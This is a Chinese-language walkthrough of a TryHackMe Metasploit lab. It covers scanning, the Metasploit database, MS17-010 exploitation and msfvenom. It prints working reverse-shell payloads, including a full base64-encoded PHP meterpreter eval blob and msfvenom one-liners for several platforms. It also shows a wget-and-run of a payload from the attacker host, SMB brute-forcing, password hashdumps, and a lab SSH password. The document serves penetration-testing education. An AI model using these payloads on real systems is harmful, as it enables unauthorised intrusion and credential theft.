【THM】Metasploit Exploitation(Metasploit利用)-学习
本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/metasploitexploitation
本文相关内容:使用Metasploit进行扫描、漏洞评估和漏洞利用。
简介
在本文中,我们将学习如何使用 Metasploit 进行漏洞扫描和漏洞利用。我们还将介绍数据库特性是如何使管理更广泛的渗透测试项目变得更加容易的。
最后,我们将研究如何使用 msfvenom 生成有效载荷,以及如何在大多数目标平台上启动 Meterpreter 会话。
更具体地说,我们将讨论的主题是:
- 如何使用 Metasploit扫描目标系统。
- 如何使用 Metasploit 数据库特性。
- 如何使用 Metasploit 进行漏洞扫描。
- 如何使用 Metasploit 来利用目标系统上的易受攻击(有漏洞)的服务。
- 如何使用msfvenom创建有效载荷并在目标系统上获取一个 Meterpreter 会话。
请注意,对于所有需要使用字典的问题(例如暴力攻击) ,我们将使用TryHackMe网站 在本知识点页面提供的 AtackBox 上的字典,路径如下所示:
/usr/share/wordlists/MetasploitRoom/MetasploitWordlist.txt
如果你选择使用自己的攻击机完成答题,你可以在TryHackMe网站提供的相关页面 下载字典,将其放置在你的攻击机中使用即可。
端口、服务扫描
理论
端口扫描
Metasploit 中有许多模块可以扫描目标系统和网络上的开放端口。你可以使用 search portscan 命令列出可用的潜在端口扫描模块。
msf6 > search portscan
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/http/wordpress_pingback_access normal No Wordpress Pingback Locator
1 auxiliary/scanner/natpmp/natpmp_portscan normal No NAT-PMP External Port Scanner
2 auxiliary/scanner/portscan/ack normal No TCP ACK Firewall Scanner
3 auxiliary/scanner/portscan/ftpbounce normal No FTP Bounce Port Scanner
4 auxiliary/scanner/portscan/syn normal No TCP SYN Port Scanner
5 auxiliary/scanner/portscan/tcp normal No TCP Port Scanner
6 auxiliary/scanner/portscan/xmas normal No TCP "XMas" Port Scanner
7 auxiliary/scanner/sap/sap_router_portscanner normal No SAPRouter Port Scanner
Interact with a module by name or index, for example use 7 or use auxiliary/scanner/sap/sap_router_portscanner
msf6 >
端口扫描模块需要你设置一些选项:
msf6 auxiliary(scanner/portscan/tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
DELAY 0 yes The delay between connections, per thread, in milliseconds
JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
THREADS 1 yes The number of concurrent threads (max one per host)
TIMEOUT 1000 yes The socket connect timeout in milliseconds
msf6 auxiliary(scanner/portscan/tcp) >
CONCURRENCY:同时扫描的目标数目。
PORTS:要扫描的端口范围,请注意,这里的参数如果设置为1-1000 则与使用默认配置的 Nmap不同,Nmap默认将扫描1000个最常用的端口,而当Metasploit 将PORTS参数设置为1-1000时,将扫描从1到1000的端口号。
RHOSTS:要扫描的目标或目标网络。
THREADS:同时使用的线程数,更多的线程将导致更快的扫描速度。
你可以在msfconsole 提示符界面直接执行 Nmap 扫描,如下所示:
msf6 > nmap -sS 10.10.12.229
[*] exec: nmap -sS 10.10.12.229
Starting Nmap 7.60 ( https://nmap.org ) at 2021-08-20 03:54 BST
Nmap scan report for ip-10-10-12-229.eu-west-1.compute.internal (10.10.12.229)
Host is up (0.0011s latency).
Not shown: 992 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49158/tcp open unknown
MAC Address: 02:CE:59:27:C8:E3 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 64.19 seconds
msf6 >
在信息收集方面,如果你要求更快地扫描端口,Metasploit 可能不是你的首选,然而,许多模块使得 Metasploit 成为扫描阶段的一个可选择的有用工具。
UDP 上的服务扫描
通过 scanner/discovery/udp_sweep 模块,你可以快速识别运行在 UDP (用户数据报协议)上的服务。如下所示,此模块不会对所有可能存在的 UDP 服务进行全面的扫描,但确实提供了一个识别 DNS 或 NetBIOS 等服务的快速方法。
msf6 auxiliary(scanner/discovery/udp_sweep) > run
[*] Sending 13 probes to 10.10.12.229->10.10.12.229 (1 hosts)
[*] Discovered NetBIOS on 10.10.12.229:137 (JON-PC::U :WORKGROUP::G :JON-PC::U :WORKGROUP::G :WORKGROUP::U :__MSBROWSE__::G :02:ce:59:27:c8:e3)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/discovery/udp_sweep) >
SMB 服务扫描
Metasploit 提供了几个有用的辅助模块,允许我们扫描特定的服务。
下面是 SMB服务扫描的示例,在企业网络中,smb_enumshares(枚举smb共享)和 smb_version(扫描smb版本)尤其有用,但是请花些时间 来识别安装在你的操作系统上的 Metasploit 版本所提供的扫描器。
msf6 auxiliary(scanner/smb/smb_version) > run
[+] 10.10.12.229:445 - Host is running Windows 7 Professional SP1 (build:7601) (name:JON-PC) (workgroup:WORKGROUP ) (signatures:optional)
[*] 10.10.12.229:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_version) >
在执行服务扫描时,重要的是不要忽略更多的“特殊”服务,如 NetBIOS,NetBIOS (网络基本输入输出系统--Network Basic Input Output System) ,类似于 SMB,允许计算机通过网络共享文件或将文件发送到打印机。
目标系统的 NetBIOS 名称可以让你了解它的角色甚至其他更重要的信息(例如 CORP-DC, DEVOPS, SALES 等)。你还可能会遇到一些共享文件和文件夹,这些文件和文件夹可以在没有密码的情况下访问 或者仅仅使用简单的密码进行保护(例如admin, administrator, root, toor等)。
注意:Metasploit 有许多模块能帮助你更好地理解目标系统,并可能帮助你找到漏洞。你可以进行快速搜索,看看是否有任何模块可以基于你的目标系统提供帮助。
答题
使用msf进行端口扫描,使用的命令如下:
search portscan
use 5
show options
set RHOSTS 10.10.43.5
set THREADS 4
show options
run
使用msf识别NetBIOS服务名称,使用的命令如下:
search netbios/nbname
use 0
show options
set RHOSTS 10.10.43.5
run
在msf中使用nmap 扫描8000端口(也可以使用http_version 模块,search http_version 即可):
nmap -sC -sV -p8000 10.10.43.5
在msf中尝试登陆目标系统的SMB服务,使用smb_login 模块进行操作即可(已知一个SMB用户名为 penny):
search smb_login
use 0
show options
set PASS_FILE /usr/share/wordlists/MetasploitRoom/MetasploitWordlist.txt #此处文件路径 对应的是TryHackMe提供的攻击机中的字典文件路径
set SMBUser penny
set RHOSTS 10.10.43.5
run
Metasploit 数据库
理论(无答题)
虽然在 TryHackMe 上与单个目标交互时不需要Metasploit数据库,但是在实际的渗透测试中可能有多个目标(这个时候就有必要了解Metasploit数据库)。
Metasploit 有一个数据库功能,可以简化项目管理,避免在设置参数值时可能出现的混乱。
Metasploit数据库特性案例(请在kali终端环境下运行下面案例中的命令)
首先需要启动 PostgreSQL 数据库,Metasploit 将使用以下命令:
systemctl start postgresql
然后,需要使用 msfdb init 命令初始化 Metasploit 数据库。
root@kali:~# systemctl start postgresql
root@kali:~# msfdb init
[i] Database already started
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema
/usr/share/metasploit-framework/vendor/bundle/ruby/2.7.0/gems/activerecord-4.2.11.3/lib/active_record/connection_adapters/abstract_adapter.rb:84: warning: deprecated Object
#=~ is called on Integer; it always returns nil
root@kali:~#
现在可以启动 msfconsole 命令,使用 db_status 命令检查数据库状态。
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
msf6 >
msf数据库特性允许你创建工作区来隔离不同的项目,当你第一次启动时,你应该在默认的工作区。你可以使用 workspace 命令列出可用的工作区。
msf6 > workspace
* default
msf6 >
您可以使用 workspace 命令加上 -a 参数添加工作区,也可以使用 -d 参数删除工作区。下面的截图显示了创建了一个名为“tryhackme”的新工作区。
msf6 > workspace -a tryhackme
[*] Added workspace: tryhackme
[*] Workspace: tryhackme
msf5 > workspace
default
* tryhackme
msf6 >
你将注意到,新的工作区名称将以红色字体打印,以 * 符号作为开头。
你可以使用 workspace 命令在工作区之间进行切换,只需键入 workspace 后跟所需的工作区名称即可。
msf6 > workspace
default
* tryhackme
msf5 > workspace default
[*] Workspace: default
msf5 > workspace
tryhackme
* default
msf6 >
你可使用 workspace -h 命令 来列出工作区命令的可用选项。
msf6 > workspace -h
Usage:
workspace List workspaces
workspace -v List workspaces verbosely
workspace [name] Switch workspace
workspace -a [name] ... Add workspace(s)
workspace -d [name] ... Delete workspace(s)
workspace -D Delete all workspaces
workspace -r Rename workspace
workspace -h Show this help information
与通常的 Metasploit 使用不同,一旦使用数据库特性启动 Metasploit, 在 help命令的显示结果中,还会附加显示一个“数据库后端命令”菜单。
msf6 > help
如果使用下面所示的 db_nmap命令运行 Nmap 扫描,则所有结果都将保存到数据库中(在上图中的“数据库后端命令”菜单中,可以看到db_nmap命令)。
msf6 > db_nmap -sV -p- 10.10.128.9
[*] Nmap: Starting Nmap 7.80 ( https://nmap.org ) at 2022-10-05 05:55 UTC
[*] Nmap: Nmap scan report for ip-10-10-128-9.eu-west-1.compute.internal (10.10.128.9)
[*] Nmap: Host is up (0.00053s latency).
[*] Nmap: Not shown: 65530 closed ports
[*] Nmap: PORT STATE SERVICE VERSION
[*] Nmap: 21/tcp open ftp ProFTPD 1.3.5e
[*] Nmap: 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
[*] Nmap: 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: ACME IT SUPPORT)
[*] Nmap: 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: ACME IT SUPPORT)
[*] Nmap: 8000/tcp open http WebFS httpd 1.21
[*] Nmap: MAC Address: 02:2F:09:E5:02:A3 (Unknown)
[*] Nmap: Service Info: Host: IP-10-10-128-9; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 15.31 seconds
msf6 >
现在可以分别使用hosts命令和services命令 来获得与目标系统上运行的主机和服务相关的信息。
hosts -h 命令和services -h 命令可以帮助你更加熟悉可用的选项。
一旦目标主机信息被存储在数据库中,你可以使用 hosts -R 命令将此值添加到 RHOSTS 参数。
示例工作流(此处的工作流 与上面的命令和截图结果承接)
- 我们将使用漏洞扫描模块,发现潜在的 MS17-010 漏洞并使用 use auxiliary/scanner/smb/smb_ms17_010 命令。
- 接着我们再使用 hosts -R命令设置RHOSTS 的值。
- 输入 show options显示参数选项,检查参数值是否已经设置正确(在本例中,10.10.128.9是我们前面使用 db_nmap 命令扫描的 IP 地址)。
- 一旦设置好所有参数,我们将使用 run 命令或者 exploit命令执行exp 。
如果经过db_nmap扫描之后,有多个目标主机被保存到数据库中,那么当使用 hosts -R 命令时,将设置所有的目的IP地址作为 RHOSTS 参数的值。
在一个典型的渗透测试项目中,我们可能有以下场景:
- 使用 db_nmap 命令,查找所有的可用目标主机(hosts)
- 扫描这些主机,寻找更多的漏洞或者寻找打开的端口(使用端口扫描模块)
与 -S 参数一起使用的 services 命令将允许你在环境中搜索特定的服务。
msf5 > services -S netbios
你可能想搜索一些容易存在漏洞的服务,比如:
- HTTP:可以潜在地托管一个 Web 应用程序,在那里你可能会找到像 SQL 注入或远程代码执行(RCE)这样的漏洞
- FTP:可以允许匿名登录并提供对一些有价值的文件的访问权限
- SMB:可能存在一些漏洞利用点,如MS17-010漏洞的利用
- SSH:可能具有默认的登录凭据或者容易猜测的登录凭据(弱密码)
- RDP:可能容易受到 Bluekeep漏洞攻击,或者允许使用弱凭据进行桌面访问
漏洞扫描
理论
Metasploit 允许你快速识别一些关键漏洞,这些漏洞可以被视为“低垂的果实”。术语“低垂的果实”通常指易于识别和利用的漏洞,这些漏洞可能允许你在系统上获得立足点,并在某些情况下可以获得高级权限,例如 root权限或者 administrator权限。
使用 Metasploit 寻找漏洞,在很大程度上依赖于对目标进行扫描和指纹识别的能力,你在这些阶段做得越好,Metasploit 能提供给你的选择就越多。
例如,如果你发现了一个 VNC服务正运行在目标上,你就可以使用 Metasploit 上的 search 功能来列出关于VNC服务有用的模块。search的结果将包含payload和后期模块,在这个阶段,这些结果不是很有用,因为我们还没有发现一个可以利用的潜在漏洞(即exp)。
然而,在发现目标上存在 VNC服务的情况下,我们可以先利用msf的几个扫描模块做进一步的探测。
msf6 > use auxiliary/scanner/vnc/
use auxiliary/scanner/vnc/ard_root_pw use auxiliary/scanner/vnc/vnc_login use auxiliary/scanner/vnc/vnc_none_auth
msf6 > use auxiliary/scanner/vnc/
你可以对任何模块使用 info命令,这样能对某个模块的用途和目的有一个更好的理解。
如你所见,vnc_login 模块可以帮助我们查找 VNC 服务的登录细节。
答题
使用命令
use auxiliary/scanner/smtp/
use 2
info
漏洞利用
理论
顾名思义,Metasploit Framework是一个漏洞利用框架,exp利用模块是使用最多的一个模块类别,下图是关于Metasploit 的版本细节。
你可以使用 search 命令搜索漏洞exp,使用 info 命令获取有关该漏洞exp的更多信息,使用 exploit 命令执行该漏洞exp。虽然这个过程本身很简单,但是请记住:成功的结果取决于对目标系统上运行的服务的透彻理解。
大多数漏洞exp将有一个预设的默认有效载荷(payload),你可以随时使用 show payloads 命令 来列出可用于某个特定漏洞的其他命令。
一旦你决定了使用某个有效载荷(payload),你可以用 set payload 命令来进行选择。
注意:由于环境或操作系统的限制,选择能顺利进行工作的payload 可能会成为一个试错过程,例如防火墙规则拦截、反病毒拦截、文件写入没有权限、执行有效负载的相关程序不可用(如:目标系统没有安装python环境,则使用python编写的payload将无法执行)等条件限制,会使payload执行失败。
一些payload将给出 一些你可能需要设置的新参数,使用 show options命令进行查看即可知晓。
正如你在上面的示例中所看到的,一个反向shell的payload 至少需要你设置 LHOST 选项,此处还要设置目标机器的ip地址(RHOSTS参数),然后执行payload:
当payload执行成功后,将会自动打开一个会话,你可以使用 CTRL+Z 按键将会话后台化 或者使用 CTRL+C 按键终止会话,当同时处理多个目标或者使用不同的exp和(或)shell 处理同一目标时,对会话进行后台化处理将非常有用。
关于sessions命令
使用 sessions 命令会列出当前存活的会话,sessions 命令同时还支持 许多可以帮助你更好地管理会话的选项。
你可以与任何现有的会话进行交互:使用 sessions -i 命令 后跟会话 ID。
答题
使用命令,建立一个攻击机和目标机之间的会话:
nmap -sC 10.10.173.8 #扫描到目标机的操作系统为win7
search ms17_010
use 2
show payloads
set payload 15 #此处选择windows/X64/meterpreter/reverse_tcp,能建立一个meterpreter类型的会话,这样就可以用meterpreter命令查看目标机器上的文件
show options
set LHOST 10.10.161.57 #攻击机ip(因为此处使用的是反向shell的payload)
set RHOSTS 10.10.173.8 #目标机ip
exploit # 或者run
建立会话之后,使用命令查找flag文件:
使用pwd命令和cd命令 切换到flag文件所在的目录下,查看flag文件内容
使用hashdump下载目标hash,然后对目标的密码hash值进行破解即可(使用在线破解 https://crackstation.net/ ):
答题卡
Msfvenom
理论
Msfvenom是Msfpayload 和 Msfencode工具的替代,它可以生成有效载荷。(venom可翻译为:毒液,投毒)
Msfvenom将允许你访问 Metasploit 框架中所有可用的有效载荷,同时也允许你创建多种不同格式的有效载荷(PHP, exe, dll, elf 等等)以及针对不同的操作系统(Apple, Windows, Android, Linux等等)。
输出格式
使用msfvenom 你可以生成独立的有效负载(例如,Meterpreter类型的 Windows 可执行文件)或者得到一个可用的原始形式(例如 python文件)。
msfvenom --list formats 命令可以用来列出受支持的输出格式。
编码器
与某些观点相反,使用编码器并不是为了绕过安装在目标系统上的防病毒程序,顾名思义,它们只是对有效载荷进行编码。虽然使用编码可以有效地应对一些反病毒软件,但是使用现代模糊技术或者学习一些方法来注入shellcode 才是更好的对抗反病毒的解决方案。
下面的示例显示了编码器的用法(使用 -e 参数。对Meterpreter 的 PHP 版本用 base64编码,将输出格式设置为原始输出格式 raw)
完整示例如下:
root@ip-10-10-186-44:~# msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.186.44 -f raw -e php/base64
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of php/base64
php/base64 succeeded with size 1507 (iteration=0)
php/base64 chosen with final size 1507
Payload size: 1507 bytes
eval(base64_decode(Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzEwLjEwLjE4Ni40NCc7ICRwb3J0ID0gNDQ0NDsgaWYgKCgkZiA9ICdzdHJlYW1fc29ja2V0X2NsaWVudCcpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKCJ0Y3A6Ly97JGlwfTp7JHBvcnR9Iik7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBpZiAoISRzICYmICgkZiA9ICdmc29ja29wZW4nKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigkaXAsICRwb3J0KTsgJHNfdHlwZSA9ICdzdHJlYW0nOyB9IGlmICghJHMgJiYgKCRmID0gJ3NvY2tldF9jcmVhdGUnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZihBRl9JTkVULCBTT0NLX1NUUkVBTSwgU09MX1RDUCk7ICRyZXMgPSBAc29ja2V0X2Nvbm5lY3QoJHMsICRpcCwgJHBvcnQpOyBpZiAoISRyZXMpIHsgZGllKCk7IH0gJHNfdHlwZSA9ICdzb2NrZXQnOyB9IGlmICghJHNfdHlwZSkgeyBkaWUoJ25vIHNvY2tldCBmdW5jcycpOyB9IGlmICghJHMpIHsgZGllKCdubyBzb2NrZXQnKTsgfSBzd2l0Y2ggKCRzX3R5cGUpIHsgY2FzZSAnc3RyZWFtJzogJGxlbiA9IGZyZWFkKCRzLCA0KTsgYnJlYWs7IGNhc2UgJ3NvY2tldCc6ICRsZW4gPSBzb2NrZXRfcmVhZCgkcywgNCk7IGJyZWFrOyB9IGlmICghJGxlbikgeyBkaWUoKTsgfSAkYSA9IHVucGFjaygi.TmxlbiIsICRsZW4pOyAkbGVuID0gJGFbJ2xlbiddOyAkYiA9ICcnOyB3aGlsZSAoc3RybGVuKCRiKSA8ICRsZW4pIHsgc3dpdGNoICgkc190eXBlKSB7IGNhc2UgJ3N0cmVhbSc6ICRiIC49IGZyZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsgY2FzZSAnc29ja2V0JzogJGIgLj0gc29ja2V0X3JlYWQoJHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOyB9IH0gJEdMT0JBTFNbJ21zZ3NvY2snXSA9ICRzOyAkR0xPQkFMU1snbXNnc29ja190eXBlJ10gPSAkc190eXBlOyBpZiAoZXh0ZW5zaW9uX2xvYWRlZCgnc3Vob3NpbicpICYmIGluaV9nZXQoJ3N1aG9zaW4uZXhlY3V0b3IuZGlzYWJsZV9ldmFsJykpIHsgJHN1aG9zaW5fYnlwYXNzPWNyZWF0ZV9mdW5jdGlvbignJywgJGIpOyAkc3Vob3Npbl9ieXBhc3MoKTsgfSBlbHNlIHsgZXZhbCgkYik7IH0gZGllKCk7));
root@ip-10-10-186-44:~#
对payload可能产生的连接进行处理
与使用反向shell的exp类似,你需要能够接受由msfvenom的payload产生的传入连接。
当使用exploits(漏洞利用)模块时,该部分由exploit模块自动处理,你只要记住在设置payload时,payload的参数选项是如何出现的即可(show options)。
通常用于接收来自目标的连接的术语是"捕获(catching)shell",使用处理程序可以很容易地捕获在msfvenom有效负载中生成的反向 shell 或 meterpreter 回连。
下面的场景可能很熟悉,我们将利用 DVWA (Damn Vulnerable Web Application)中存在的文件上传漏洞。对于相关知识点的练习,你需要在另一个目标系统上复现类似的场景,DVWA 在这里只用于提供一个示例,主要步骤是:
- 使用MSFvenom生成一个PHP反向shell并对shell文件内容进行修改;
- 启动 Metasploit 处理程序(Metasploit handler)
- 在目标机上执行 PHP shell。
MSFvenom将需要一个payload、一个本地(攻击机)IP地址、一个用于payload生效后 接收连接的本地(攻击机)端口,如下所示, 10.0.2.19 是攻击中使用的 Kali Linux 机器的 IP 地址,选择监听本地端口7777:
root@ip-10-0-2-19:~# msfvenom -p php/reverse_php LHOST=10.0.2.19 LPORT=7777 -f raw > reverse_shell.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 3020 bytes
root@ip-10-0-2-19:~#
注意:查看得到的 PHP 文件内容,能够发现PHP开始标记被注释了,PHP结束标记(?>)已经丢失,如下图所示。
msfvenom所生成的reverse_shell.php还需要被修改为一个可用的php文件。
如下:删除文件开头的注释符,使PHP的 "开始标记" 生效
如下:添加PHP的 "结束标记"
我们将使用多处理程序 来接收payload生效之后的传入连接,输入 use exploit/multi/handler 命令来使用该模块。这个多处理程序支持所有 Metasploit 的payload,也可以用于Meterpreter类型的shell以及常规 shell。
为了使用该模块,我们还需要设置payload的值(在本例中该值是:php/reverse_php)以及LHOST值和LPORT 值。
一切准备就绪后,输入run命令来执行 handler模块, 然后等待传入连接即可。
当反向 shell 被触发时,multi/handler将接收一个连接,并为我们提供一个 shell。
如果payload被设置为 Meterpreter类型(例如,格式为Windows executable ),multi/handler将提供一个 Meterpreter类型的shell(可使用linux命令)。
其他payload
根据目标系统的配置(操作系统类型,安装了网络服务器webserver,安装了解释器interpreter 等等),msfvenom可以用来创建几乎所有格式的payload。
下面是一些你可能会经常使用的例子:
在所有这些例子中,LHOST 是你攻击机的IP地址,LPORT将是你的处理程序(handler)所侦听的攻击机端口。
Linux 可执行与可链接格式(elf格式:Executable Linkable Format )
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf
.elf格式与 Windows 中的.exe 格式相当,它们是 Linux 上的可执行文件,但是,你可能仍然需要确保它们在目标计算机上具有可执行权限。例如,当目标机器上有了 shell.lf 文件,使用 chmod +x shell.elf 命令授予它可执行权限,授权之后 你就可以在目标机器上使用 ./shell.elf命令行来运行这个文件。
Windows上的格式
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe
PHP格式
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php
ASP格式
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp > rev_shell.asp
Python格式
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py
上面的所有示例,都是建立反向shell的payload,这意味着你需要使用 exploit/multi/handler 模块设置一个handler来监听你的攻击机,你需要使用handler并设置对应的payload、 LHOST 和 LPORT 参数,这些参数的值将与你在创建有效载荷时所使用的值相同。
答题
在以下操作中,我开启了三个终端,实际上只开两个终端就行(生成shell文件之后,立即开启简易web服务器,将文件传到目标机器上再关闭 http服务)
不开启msfconsole界面,能直接使用msfvenom生成payload
在msfconsole界面中也能使用msfvenom生成payload(建议在msfconsole下 使用msfvenom)
在攻击机上开启终端,使用ssh服务登陆目标机器(已知目标ip、用户名、密码)
ssh murphy@10.10.58.63 #password 1q2w3e4r
sudo su
另起一个终端,在攻击机上使用msfvenom生成一个.elf格式的payload(用于建立反向shell),打开msfconsole,使用其中的handler模块并配置对应的参数,开启对本地端口4444的监听:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.163.171 LPORT=4444 -f elf > shell.elf
msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 10.10.163.171
set LPORT 4444
show options
run
另起一个终端,在攻击机上使用命令,开启一个简易的webserver
python3 -m http.server 9000
打开 之前ssh登录的终端界面,下载攻击机上的shell.elf文件并执行:
wget http://10.10.163.171:9000/shell.elf
./shell.elf #发现没有权限
chmod +x shell.elf #给shell文件添加一个可执行权限
./shell.elf #再次在目标机器上执行shell.elf文件
回到刚才开启了端口监听的终端界面,成功建立了一个meterpreter类型的会话:
使用命令 查看保存在目标机器上的用户密码hash
run post/linux/gather/hashdump
其他用户的密码hash是:
$6$Sy0NNIXw$SJ27WltHI89hwM5UxqVGiXidj94QFRm2Ynp9p9kxgVbjrmtMez9EqXoDWtcQd8rf0tjc77hBFbWxjGmQCTbep0
总结
现在你应该更好地理解了 Metasploit 如何帮助你识别目标系统上的潜在漏洞并利用这些漏洞;你还能看到Metasploit的数据库特性如何帮助你开展针对多个潜在目标的渗透测试。
最后,你应该已经获得了一些关于msfvenom 和创建独立 Meterpreter 有效载荷的经验,在你可以将文件上传到目标系统或具有将文件下载到目标系统的能力的情况下,这尤其有帮助。
总之,Meterpreter 是一个强大的工具,在后期漏洞利用阶段提供了许多易于使用的特性。